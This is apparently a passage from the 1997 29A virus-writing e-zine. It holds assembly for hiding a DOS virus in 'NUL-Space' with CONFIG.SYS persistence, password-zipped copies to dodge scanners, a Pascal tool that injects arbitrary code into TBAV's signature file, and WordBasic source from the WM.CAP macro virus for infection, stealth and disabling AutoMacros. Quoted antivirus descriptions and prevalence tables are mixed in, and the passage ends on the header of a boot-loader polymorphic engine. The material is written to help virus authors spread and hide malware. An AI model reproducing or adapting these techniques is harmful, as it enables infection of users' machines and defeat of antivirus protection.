infecting. Name that virus C:\FDGDIKGA.PKB (pseudo random name and exten-
sion but should be same for all infections on that PC). This name could be
derived from the drive C: serial number:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
[...]
mov ax,6900h ;get drive serial number
mov bx,0003h ;drive C:
push cs
pop ds
mov dx,offset info ;point to where serial number will be
int 21h
;create file name from the drive C: serial number
cld
mov si,offset serialnumber
mov di,offset device_name
mov cx,0004h ;loop 4 times
get_serial: lodsb ;get start of serial number
push cx
mov cl,04h ;inner loop 4 times
make_file: sub al,cl
ror al,cl ;pseudo random letter
mov bl,al
and bl,0fh
add bl,"A" ;create letter from A to P
mov byte ptr ds:[di],bl
inc di ;save it and move pointer
loop make_file
pop cx
loop get_serial
mov byte ptr ds:[file_dot],"." ;restore dot
mov byte ptr ds:[asciz_nul],00h ;restore nul
mov dx,offset file_name
;now create virus by name at DS:DX
[...]
info dw 0
serialnumber dd 0 ;drive C: serial number
db 19 dup(0) ;misc junk
file_name db "C:\"
device_name db "VIRUS000" ;pseudo virus name goes here
file_dot db ".000" ;with pseudo extension
asciz_nul db 00h,00h,00h
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Hide it with the System and Hidden attribute, maybe even Read-Only. Now
create a NUL device by the name of FDGDIKGA (same as pseudo random file na-
me). Add this line to CONFIG.SYS:
INSTALL=C:\FDGDIKGA.PKB
Now start infecting. Go memory resident (you really only need to have the
18 bytes of your NUL device resident). What will now happen is magic. When
the PC reboots there will load a program that doesn't have an executable
extension so most AV programs won't even try to scan it. If they do they
won't be able to read it or delete it because it is in NUL-Space. The AV
people will be able to add the scan string for your virus and remove all
the children created by it but they will not get the virus in NUL-Space. It
will continue to infect again and again. Maybe only have it infect on Fri-
days or on the 13th of each month so it will appear that the virus has gone
away but later it magically returns.
Note: when going resident with the 18 byte NUL device, you might want to
put it in the same location as the AUX device. This device is never ever u-
sed and is just wasting space. AUX is another name for COM1. PRN could be
used but some older programs actually use it. LPT3's 18 bytes also could be
used. The way to find the AUX device is to search the device chain:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ah,52h ;get list of lists
int 21h
add bx,22h ;point to NUL device
check_end: cmp word ptr es:[bx],-1 ;end of chain?
je end_chain
cmp word ptr es:[bx+0ah],"UA"
jne next_device ;Look for "AUX "
cmp word ptr es:[bx+0ch]," X"
jne next_device
[...]
;found AUX device at ES:BX change the name at ES:BX+0Ah to whatever you want
[...]
mov word ptr es:[bx+04h],8004h ;set NUL device
jmp short end_chain
next_device: les bx,dword ptr es:[bx] ;get next device in chain
jmp short check_end
end_chain:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
To see the power of NUL-Space, try this in Windows 95: md\"NUL ".
It locks the computer completely up.
Hide in Cypher Text
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
PkZip has the ability to password protect ZIP files. This can be used to
our advantage. Have the virus run this:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
PKZIP -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
@ECHO OFF
PKUNZIP -O -SPASSWORD C:\VIRUS.ZIP
C:\VIRUS.COM
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
This will allow multiple reinfections but the source will not be found
with a virus scanner because it will not be able to expand the ZIP file.
If this is over your head, save it and come back to it when you are smar-
ter. Have fun in NUL-Space.
Dear AV community,
You are in check!
It is now your move.
TBAV uses so called AVRs in order to add detection routines for catching
polymorphic viruses that avoid its generic decryption engine. Such an AVR
is just native code which is loaded and... executed! by TbScan, and is
stored along with the virus signatures in the signature file TBSCAN.SIG.
The AVRs are located just after the above contents in the file, and this is
the place where our virus or trojan has to be inserted. Since i do not know
all the specifications of it, we can just take what is already there and
modify it so there will be enough space for the new AVR code. Each AVR has
a 16-byte-long header. The word at offset 0ch of this AVR header holds the
size of the AVR code, including its header size. Just after this header,
the AVR code (wich we'll describe later) follows. And after this code we
can find the virus name in ASCIIZ format. The virus name size (including
the ending 0) is stored in a byte at offset 0ah of the AVR header. The to-
tal size (header+code+name) is stored as well in a word at offset 0eh in
the header. Finally, the AVR code and the virus name are encrypted by a by-
tewise xor with 44h.
IAVR, the program included below, does all this stuff so you can insert any
code you want as an AVR in your TBSCAN.SIG file. You just have to call it
'IAVR filename_of_AVR_code'. If you don't specify any filename, IAVR will
keep on waiting for you to type in the AVR code. Then, after it has read
the code, IAVR will prompt for the virus name your AVR has to be associated
with. The new signature file will then be written to a new file whose name
will be TBS.SIG.
And now, before including my program IAVR, let's have a look at the format
of any AVR code. It's a quite simply relocateable code. If it returns a ca-
rry flag, it's telling TbScan that the virus was found. The AVR code has to
be ended with a retf instruction. The rest is just normal code, so you can
program as usual and insert anything you want there. This is an example of
an AVR which triggers all the files as infected:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
model tiny
.code
org 100h
start: stc
retf
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
And finally, the Pascal source of my IAVR program, which is able to add any
AVR to TBSCAN.SIG, writing the resulting file as TBS.SIG. You can find the
compiled executable version of this program in the \FILES directory of this
issue of 29A.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
uses Crt;
begin
Size_:=0;
assign(F1,'tbscan.sig'); Reset(f1,1); { open original signature file }
assign(F2,'tbs.sig'); rewrite(f2,1); { create new signature file }
assign(F3,ParamStr(1)); reset(F3,1); { open file with code to insert }
blockread(F1,Buffer,$80); { read header of signature file }
blockwrite(F2,Buffer,$80); { and simply write it to new one }
blockread(f1,buffer,$1fff); { read first 1FFF byte of orig. }
blockread(f3,buffer[$10],$2000,L); { read upto 2000 byte of code }
L:=L+$10; { add size of header for AVR }
Buffer[$0c]:=L and $FF; { write header size into buffer }
Buffer[$0d]:=L div $100;
Write('Name :'); Readln(Name); { ask for a name for the virus }
{ thats detected by the new AVR }
For i:=1 to Ord(Name[0]) do Buffer[L+I-1]:=Ord(Name[i]);
{ write it into buffer }
Buffer[L+Ord(Name[0])]:=0; { and end it with a zero }
L:=L+Ord(Name[0])+1; { add length of name to size }
Buffer[$0a]:=Ord(name[0])+1; { store length of name }
Buffer[$0e]:=L and $FF; { and full length of AVR }
Buffer[$0f]:=L div $100;
for i:=$10 to L do Buffer[I]:=Buffer[I] XOR $44;
{ encrypt the new AVR }
blockwrite(f2,buffer,L); { and write it to new sig.-file }
ML:=L;
seek(f1,$80); { seek back to top of original }
{ AVRS }
{ now write the rest of the original signature file to the new one }
L:=$2000;
While L=$2000 do Begin
BlockRead(F1,Buffer,L,L);
BlockWrite(F2,Buffer,L);
End;
Malware
Macro virus trickz
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Jacky Qwerty/29A
Index
ÄÄÄÄÄ
1. Introduction
2. The "SaveAs" problem
2.1. The "SaveAs" solution
2.2. The "SaveAs" example
3. The "MultiLanguage suport" problem
3.1. The "MultiLanguage suport" solution
3.2. The "MultiLanguage suport" example
4. Final Note
5. Disclaimer
1. Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
One day while i was surfin the Web, unexpectedly found a couple of linkz
containin Word macro virii stuff. After havin programed some DOS virii and
researched about PE infection, one has to admit that the idea of a virus
writen in WordBasic or VBA... mmm... well, sounds a bit stupid >8P
Indeed, macro virii seem stupid once u write one, but at that moment i had
written none. After i downloaded and played with some of them, i actually
understood not only how stupid macro virii were, but also Microsoft pro-
gramerz. They're all clueless on what *security* means :)
The "SaveAs" problem occurs when u try to save any infected document with
another name usin the "FileSaveAs" command. After the "SaveAs" dialog box
appears, u cant change the drive, nor the directory path, nor the format
type. Word always saves your document in the "templatez" directory, un-
ablin u to change it. This is bad for the common clueless user and bad for
the virus too, as it reveals its presence by tellin him somethin is wrong.
It also reduces its chancez to spread coz now the user cant take home his
(infected) document as long as Word doesnt let him save documentz to his
floppy disk, due to the "SaveAs" problem.
I have thought of diferent wayz to overcome this, however i'll discuss the
method i actually implemented in my WM.CAP virus.
The "MultiLanguage suport" problem has to do with the fact that MS Word is
available in diferent languagez and flavorz for diferent platformz. When-
ever we give a macro the name of a menu item, Word will actually execute
the code contained in such macro whenever the user clicks or presses the
menu item asociated with it. However if the user executes the same action
(clicks the same menu item) under another Word language, the asociated ma-
cro won't be executed at all becoz it doesnt match the menu item name as
it was written in another language, u see?
The best solution i came up with after thinkin a bit among the diferent
alternativez was to intercept the file macroz directly acordin to the es-
pecific Word language instaled. This is not a dificult task, however what
proves to be somewhat complicated is guessin out the correct macro name
for the respective file menu item. If this step is done incorrectly, some
file menuz will end up doin diferent actionz other than expected. For ins-
tance, the "FileSave" macro could end up callin "FileClose", thus closin
the document instead of saving it or viceversa.
In order to get the macro namez for the actual Word language instaled, we
must use the "MenuItemMacro$" function. This function gives us the macro
name for a given menu item inside a menu, asumin we know of course which
menu this menu item refers or belongs to and knowin the menu item name or
the menu item position inside this menu itself. Heh are u drowsy? =8-S.
This is precisely the reason why this method is still not 100% reliable.
We must asume fixed menu item positionz for the menu itemz we wanna hook.
In any Word language from any standard Word instalation we have the fol-
lowin scenario (equivalent spanish macroz are also shown):
English Spanish Menu Menu item position
ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FileOpen ArchivoAbrir 1 (File) 2
FileClose ArchivoCerrar 1 (File) 3
FileSave ArchivoGuardar 1 (File) 5
FileSaveAs ArchivoGuardarComo 1 (File) 6
Dim Shared MacroName$(N) ' Array of stringz to hold the macro namez
The objective in the previous example shows for itself. We're tryin to get
the file related macro namez for any localized version of Word other than
english. If these file related macroz are located in the exact position
where we expect them to be in the file menu (very likely), then the above
example will do its work. Probably at this point u're wonderin what has the
macro description field to do in all this mess. Heh, well, the field proves
to be very useful for some purposez other than simply describin what the
macro does. The macro description field can be used to hold generation
countz and self-recognition paternz, among other thingz.
In the above example however, the description field mite not be necesary at
all. Its purpose is simply to identify a given file related macro in order
to assign a position for it in the file menu. But u could argue this can be
done as well simply comparin the macro name retrieved from the "MacroName$"
function with the required english macro name. Yes, u could, and it would
work, as long as these english file related macroz keep stayin in the in-
fected document. But u see, macro corruption, deletion and snatchin of ma-
cros are common nowadayz between macro virii due to the increasin number of
existin samples of themselves. Becoz of this, the use of the macro descrip-
tion field (whenever posible) to recognize english or equivalent localized
macro namez, makes the virus much more robust to macro corruptionz or unde-
sired macro deletionz.
4. Final note
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
This article was written one or two months after Microsoft released its
long expected Office'97, containin Word'97. Becoz of this and becoz i lost
my interest in macro virii stuff since that time on, i dunno if these macro
trickz will also work under Word'97, i guess not. However, if other VXerz
are interested in these topicz and want to add more robustness to their ma-
cro virii under Word'97, they should consider the problemz described above.
I hope this article could be useful for that purpose. Thats all, folkz.
5. Disclaimer
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
This information is for educational purposez only. The author is not res-
ponsible for any problemz caused by the use of this information.
This article gives a full description of the WordMacro CAP virus. It can be
seen as a "real" example for the different techniqz described in the past
article named "Macro virus trickz".
Check out as well the virus source code, also published in this isue.
Index
ÄÄÄÄÄ
1. Introduction
1.1 Macro virus hype
2. WM.CAP: a complex word macro virus?
3. In the Newz
3.1. Dr.Solomon speaks
3.2. Sophos speaks
3.3. McAfee speaks
3.4. F-Potatoe speaks
3.5. Norton speaks
3.6. AVP speaks
3.7. Quarterdeck speaks
4. Functional Description
4.1. Removal of macroz
4.1.1. Concept vs. Wazzu
4.1.2. CAP vs. Concept
4.2. Global template infection
4.2.1. Searchin for localized macroz
4.2.2. Incremental generation count
4.2.3. Removal of menu itemz - stealth
4.3. Document, template and RTF infection
4.4. Disablin of AutoMacroz
4.5. The "SaveAs" problem solved
5. Shortcutz
6. Disclaimer
1. Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Factz prove for themselvez. Macro virii have become one of the most comon
type of computer virus. While the latter sounds like a press release, we
cant deny that unfortunately it is becomin true. "Unfortunately" becoz as u
will see later, macro virii unlike other type of computer virii, are not
really very dificult to write, in fact much of them have been coded in a
very simple way, followin a straightforward programin aproach. While there
could be some few exceptionz to the rule, macro virii in general dont prove
to deserve that kind of atention that other more interestin type of compu-
ter virii mite do, regardin other innovative infection techniqz, new wayz
of residency, improved methodz for trapin file activity and the complexity
of the virus code itself. Featurez which are very dependent to a great ex-
tent on the skillz of the VXer himself.
The CAP virus made its way into the wild the same way most other virusez
do. It was writen in a simple 386 machine runin Windoze 3.1, it was tested
in both english and spanish versionz of Word 6, and was finaly released and
spread as with any other macro virus. Yea, it has some pretty kewl featurez
but they are far from bein extraordinary or complex as some AVerz put it,
especialy an AVer named Miko Hypp”nen from Datafellowz (F-Potatoe), a very
nice dude, author of F-Potatoe buletinz, who btw behaved very kind in his
last isue when he encouraged people to send their "opinion on virus writin"
to my Hotmail mailbox. I wont forget that one, Miko, very nice from u, pal.
However it was also the first time i thanked the phuckin mother who hacked
my Hotmail acount, hrmph @&%#..
3. In the newz
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Shortly after CAP was released, there apeared a seriez of increasin reportz
posted on several newsgroupz, especially from alt.comp.virus. Userz were
suspectin about a new macro virus removin the Toolz/Macro and Toolz/Custo-
mize menu itemz from their Word enviroment. A couple of monthz later, CAP
was bein reported at diferent regionz worldwide. Was CAP just another lucky
virus or there was somethin more behind? Well, just keep readin if u want
to know the mean and lean truth. #8)
But before this lets listen to what AVerz have to say about CAP, that mite
help us understand some more about CAP's functionin, mmm.. well, just a bit
coz u know how some AVerz are, regardin their virus descriptionz. They feed
on hype describin how good their AV programz detect virusez, instead of
describin how the virusez really work and how some of them are able to de-
feat and nulify their stuff. Most of the AV programz agree they can safely
remove all (removable) virusez they detect. Factz prove this is not true.
None of the macro AV programz, except perhaps new versions of F-MacroW,
have been able to remove properly all of the CAP spontaneously generated
variantz. And as u'll see later in this article, this behavior could have
been made much more complex on purpose.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
WM/CAP
This macro virus appeared first in February 1997 and has quickly
become widespread. The basic virus consists of one large macro
called CAP (hence the name) which is called from the virus' other
macros - AutoExec, AutoOpen, FileSave, FileSaveAs, FileTemplates,
ToolsMacro, FileClose, FileOpen and AutoClose.
When the virus replicates, the first thing it does is to copy the basic
set of 10 macros. The virus then browses the WinWord menu items, collects
their names, (they could be different in different language versions,
or customized versions of WinWord), and intercepts up to 5 of these
additional macros - placing a pointer to the main CAP macro inside them.
If there are any system macros defined in a global template before the
infection - they are deleted. The virus also removes the menu items
Tools/Macro and Tools/Customize. The File/Templates menu item is present
after infection but it does not work.
The virus uses information from the macro description field, (at the
bottom of Tools/Macro box), for self recognition of its core macros.
These have "F%" at the beginning of a description (FileOpen has F%O,
FileClose - F%C, FileSave - F%S and FileSaveAs - F%SA).
The virus has no damaging payload except that it removes system macros
defined in the global template.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Virus analyses Winword/CAP
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Virus Name:Winword/CAP.
Aliases: None known.
Type: MS Word document infector.
Resident: Yes, within Word environment.
Stealth: Yes. Empty macros are used to prevent Word showing menu
items. For example, the ToolsMacro (or ExtrasMakro under
German Word) is empty, which prevents the use of the
ToolsMacro to see whether or not there are macros
present. The virus also removes the menu item itself so
that it does not even appear in the list of available
choices.
Trigger: None.
Payload: None.
Comments:
The Winword/CAP virus installs the following macros:
FileTemplates, ToolsMacro, FileSaveAs, FileClose,
AutoClose, FileSave, FileOpen, AutoOpen, AutoExec and
CAP. In addition, the virus will find the current local
language version of the macros and will install these as
well as the English ones. For example, if the virus
infects a German version of Word, it will also install
macros named DateiOffnen, DateiSpeichern,
DateiSpeichernUnter, DateiSchliebenOderAllesSchlieben.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
CAP.A
Virus Characteristics
The virus becomes active by using Auto- and SystemMacros. All macros
are encrypted using the standard Word execute-only feature. Meaning
that the user is unable to edit or view the macro code.
Indications of Infection
Virus Information
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
CAP.A
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Computer Virus Information Pages
NAME: CAP
ALIAS: WordMacro/CAP, CUP
ORIGIN: Venezuela
For more information on macro viruses, see WordMacro/Concept.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
WM.CAP.A
Aliases: WordMacro/CAP.A
Infection Length: 10 macros
Area of
Infection: Microsoft Word documents
Likelihood: Common
Region Reported: Worldwide
Characteristics: Wild, macro, Stealth
Target Platform: Macro
Trigger Date: None
Description:
All the macros are stored in encrypted form in the infected documents.
Also WM.CAP.A has a stealth feature which hides the [macro...] menu
item from the [Tools] menu and the [Templates...] menu item from the
[File] menu when the NORMAL.DOT (Global template) file is infected.
This will prevent the user from checking the list of macros which in
contained in the document or template and hides the macros. Once the
NORMAL.DOT file is disinfected, the [macro...] menu and [Templates...]
menu item are restored.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
This is an encrypted stealth macro virus. It contains ten macros:
The virus not only disables ToolsMacro and FileTemplates menus, but also
deletes the references to them in main menus File and Tools. The virus
also disables auto-macros. As a result it is not possible to disinfect
this virus by using Word functions - there is no possible to delete
virus macros, create new or run existing virus removing macros.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
WM/Cap.A
Macro Functions:
4. Functional description
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
While the description from Dr.Soly is the most accurate from the above, it
still doesnt explain some especific detailz. Some descriptionz are, well..
full hype, some are just promotin how excelent their AV program is and some
just dunno what they say. However no matter how good or bad any description
is, they have somethin in comon: all of them invariably try to hide the
true reason why CAP has become so comon. I'll try to remedy that here by
writin my own description now.
When CAP finishes the macro checkin, it has a count for the number of ge-
nuine CAP macroz from the global template and another same count from the
infected document. If the number of CAP macroz in the global template is
less or equal than 10 (the number of english basic macroz) then the infec-
tion (or re-infection) of the global template takes place.
Continuin with the above hypothetical example, supose that a document was
infected by CAP in an english version of Word. Now supose this document so-
mehow travels and infects an italian version of Word. Now the virus would
contain 15 macroz (10 english onez plus 5 italian onez). If the document
now infects a german version of Word, there would be 20 macroz (10 english
onez, 5 italian onez and 5 german onez). If the virus keeps spreadin this
way thru other diferent localized versionz of Word, the number of macroz
could easily reach 50 for a given document havin traveled all over the
world and havin infected at least more than 8 diferent localized versionz
of Word. Fortunately the only CAP version bein released doesnt work that
way. Otherwise it would have been a big kick in the AVerz's assez. #8P
In the past article "Macro virus trickz", point 3.1. (The "MultiLanguage
suport" solution) and point 3.2 (The "MultiLanguage suport" example), the
search and copy of localized file related macroz from the menu itemz is
explained in full detail. This is the same aproach implemented in the CAP
virus as the next chunk of code shows:
A$ = MenuText$(0, 1)
For I = CountMacros(1) To 1 Step - 1
J = 0
B$ = MacroName$(I, 1)
Select Case MacroDesc$(B$)
Case S$ + "O"
J = 2
Case S$ + "C"
J = 3
Case S$ + "S"
J = 5
Case S$ + "SA"
J = 6
End Select
If J Then
C$ = MenuItemMacro$(A$, 0, J)
If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And
Left$(C$, 1) <> "(" Then MacroCopy F$ + ":" + B$, C$, K
End If
Next
It has been said that all of the CAP macroz are encrypted usin the "Execute
Only" feature provided by Word. While this is certainly true for most of
the CAP macroz, it is not true for the "ToolsMacro" macro. In other wordz,
the "ToolsMacro" macro, which is empty, is never encrypted. U mite say this
is clumsy, but it is not. The reason for this, is becoz if any macro is en-
crypted, its macro description field cannot be modified. This wouldnt allow
us to increment the generation count stored in the "ToolsMacro" macro des-
cription field. But how do we increment this generation count? the followin
piece of code answers the question:
The first line simply gets the "ToolsMacro" description field usin the
"MacroDesc$" function, then discards the first two characterz ("F%") usin
the "Mid$" function, then converts the remainder string to an integer usin
the "Val" function, then increments the result by simply addin "1", then
converts it back to a string usin the "Str$" function and finally concate-
nates it with "F%" to obtain the final string containin the next incremen-
ted generation count embeded with it. The second line in the above piece of
code simply sets the new description for the "ToolsMacro" macro, containin
the new incremented generation count.
The generation count is incremented after the basic set of 10 english ma-
croz have been copied to the Global template, as a result such count is in-
cremented only once for each Word aplication infected with CAP. All newly
created documentz, saved, closed or opened, will contain the same genera-
tion count at the time the Global template was infected.
In efect, some AV programz that are able to remove all of the CAP viral ma-
croz from the Global template, would find themselvez a bit frustrated at
their inability to properly fix the changez made by CAP to the Word menuz.
Its pathetic readin the comon solution provided by most of these high tech
AVerz in order to fix the problem. I still can hear them say: "Exit Word,
delete NORMAL.DOT, Start Word, now the menu itemz are back". While this
straightforward solution certainly works, it proves to be quite ineficient
and exagerated as well. C'mon the fastest and most efective solution was at
the "right click" of a mouse! Well, heh.. sometimez i think it is true some
AVerz have 4 bugz playin cardz in their brainz :) This solution even worked
on my Word 6.0 runin on Win3.1, not just Win95.
Just in case u need the solution, its very simple: Right-click over some
place at the toolbar, the Customize window box opens, select the "Menus"
tab, push the "Reset All" buton then click OK, thats all. After these stepz
the menu itemz "Toolz/Macro", "Toolz/Customize", etc, are back. However, no
matter the first or second procedure is used if the user has made menu cus-
tomizationz or added some butonz to his toolbar, they are lost after doin
any of these stepz. There exists however a third solution not mentioned be-
fore in which the user wont lose any of his customizationz except of course
his own macroz (now deleted) if they existed. It consists of addin the lost
menu itemz one by one usin the "Add" buton from inside the "Customize" win-
dow box. Good enough, now lets continue with our stuff.
The actual implementation of the macro code targeted to remove these menu
itemz is very simple, but it certainly looks somewhat complicated and messy
if u have a first look at the virus code itself:
For I = 0 To 1
If I Then J = 1 Else J = 6
A$ = MenuText$(I, J)
J = CountMenuItems(A$, I) - 1
For M = J To 1 Step - 1
If InStr(MenuItemMacro$(A$, I, M), "Macro") Then
If I Then
B$ = MenuItemMacro$(A$, I, M - 2)
If UCase$(B$) <> UCase$(M$(9)) And
Left$(B$, 1) <> "(" Then MacroCopy "ToolsMacro", B$, K
Else
M = M + 1
End If
For T = M To M - 1 Step - 1
If T > 3 Then ToolsCustomizeMenus .MenuType = I,
.Position = T,
.Name = MenuItemMacro$(A$, I, T),
.Menu = A$, .Remove, .Context = 0
Next
M = 1
T = 0
End If
Next
Next
This code starts by inspectionin each of the menu itemz from the "Toolz"
menu from top to bottom, scanin each name for the word "Macro" inside them.
If any of the menu itemz contains such word as part of its name, then CAP
asumes it has found the position for the "Toolz/Macro" menu item inside the
"Toolz" menu. If this condition is met, CAP deletes the actual menu item
(Toolz/Customize). If the virus is searchin inside the "File" menu - with
no documentz opened - (second step) and if the word "Macro" is found inside
any of the menu itemz from such "File" menu, CAP removes the actual menu
item (Toolz/Macro) and the "previous" one - not the next one - which in the
case of the "File" menu (with no documentz opened), is really a "separator"
itself startin with "(".
If u are curious enough, u'll notice somethin in the above code not mentio-
ned in the latter explanation. There is a "MacroCopy" function. This func-
tion gets control when the "Filez" menu is bein scaned and the "Toolz/Ma-
cro" item is found as well. Its sole purpose is to copy the "FileTemplatez"
macro to the current localized macro name.
If for some reason, the above stepz dont work, i.e. the "Toolz/Macro" menu
item could not be found, for example in German versionz of Word where "Ma-
cro" is spelled as "Makro", then another chunk of code is executed:
A$ = MenuText$(1, 1)
[...]
J = CountMenuItems(A$, 1) - 1
[...]
For I = 6 To J
If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And
Left$(MenuItemMacro$(A$, 1, I - 2), 1) = "(" Then
For T = 1 To 3 Step 2
B$ = MenuItemMacro$(A$, 1, I - T)
If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K
Next
I = J
End If
Next
This code actually tries to make some guessez about where the "Toolz/Macro"
and "File/Templatez" menu itemz are located in the "File" menu (when no fi-
lez are opened). If these checkz are passed then the "ToolsMacro" and "File
Templates" macroz are copied to their respective localized macro namez. Un-
fortunately after CAP was released i realized that the condition block for
the "If" statement never met becoz of a certain detail i didnt realize.
This is the reason why in German version of Word or in general in any other
localized version where the word "macro" is not found in the menu itemz,
there won't be an equivalent localized macro for "FileTemplates" nor "Tools
Macro". Well what TF nobody's perfect! #8I.
Dim D As FileSaveAs
GetCurValues D
If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then
D.Format = 1
For I = CountMacros(0) To 1 Step - 1
B$ = MacroName$(I, 0)
If B$ <> "ToolsMacro" Then K = - 1 Else K = 0
MacroCopy B$, F$ + ":" + B$, K
Next
FileSaveAs D
End If
The above code simply checks for 3 posible conditionz: if the file is a
clean template, if the file is a document or if it has a RTF layout. If any
of these conditionz is met, the object will become infected. The infection
consists of copyin all the CAP macroz (english macroz plus localized ones
if they exist) from inside the Global template to the object bein infected
(DOT, DOC or RTF). Note in the "For" loop that when the macro name matches
"ToolsMacro", it will be copied in unencrypted form (K=0) in order to keep
the generation count alive.
If survival is critical for our macro virus, then its quite obvios that en-
ablin AutoMacroz should be avoided if posible. If another macro virus gets
the control before ours, posibly by meanz of one of its AutoMacroz, then it
could wipe away all of our own macroz from the global template, thus des-
troyin and removin our macro virus. This is unavoidable and very likely to
hapen if AutoMacroz are enabled, so u better think about it the next time u
enable AutoMacroz.
If our macro virus consists only of one single AutoOpen macro then disablin
AutoMacroz will obviosly stop all chancez to spread our virus further, so
thats perhaps a bad idea. However if our virus contains other macroz that
could automaticaly be executed or activated by other user actionz such as
keystrokez, file menu itemz, toolbar butonz, etc, then the "disablin" of
AutoMacroz would prove to be a much more atractive and robust aproach as it
will guarantee the survival of our macro virus.
5. Shortcutz
ÄÄÄÄÄÄÄÄÄÄÄÄ
(*) alt.comp.virus
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
> CAP.A is a fairly new Word Macro virus. The latest version of McAfee
> should be able to clean it. If it doesn't, you might want to try
> F-Macro from http://www.datafellows.com
BTW, down here (Belgium, Luxembourg, France) and among our global
customers, the CAP virus family has almost instantly become the most
widespread virus we have ever met. Roughly 80% (yes eighty percent)
of all our virus related tech support calls have been about that virus
during the last two months.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
(*) alt.comp.virus
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
> L'accorgimento sembra proprio funzionare (il che mi fa supporre che sia
> un virus del piffero, visto che si lascia aggirare cos facilmente),
> 2) che effetti provoca il macro virus CAP (ammesso che fosse quello),
> oltre a cancellare la macro e a nascondere alcuni comandi di Word?
Nulla di particolare.
Il virus intercetta il comando di sistema FileSalvaConNome e controlla
se viene utilizzato per scrivere documenti, modelli o file in formato
Rich Text Format (RTF). In questi casi, converte il file in un modello e
lo infetta. Come risultato si ottiene che un file salvato in formato
RTF, che normalmente non contiene macro, sara' comunque infetto, dal
momento che in realta' verra' salvato come modello.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
(*) http://www.geocities.com/SiliconValley/Heights/3652/F.HTM
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Virus Alerts
(*) http://www.sophos.com/virusinfo/topten/jul97.html
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Top ten viruses reported to
Sophos last month July 1997 virus top ten
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
July 1997
(*) http://www.itasa.com.mx/fprot/soporte/mexvir.htm
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Los virus mas comunes en Mexico
Btw, note that Implant (original name: SuckSexee), another virus written by
a 29A member (GriYo), ranks sixth as the most widespread virus in Mexico.
(*) http://www.dataalert.com/top.htm
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Virussen Top 10
Data Alert International B.V.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
JULI-AUGUSTUS 1997
(*) http://www.virusbtn.com/Prevalence/199708.html
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
VB Prevalence Table, August 1997
6. Disclaimer
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
This information is for educational purposez only. The author is not res-
ponsible for any problemz caused by the use of this information.
; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; Poly engine for boot loader
; Entry:
; DI = buffer to put loader in
; CX = cylynder of code
; DX = head of code
; Exit:
; All preserved
size_in_sectors equ 3
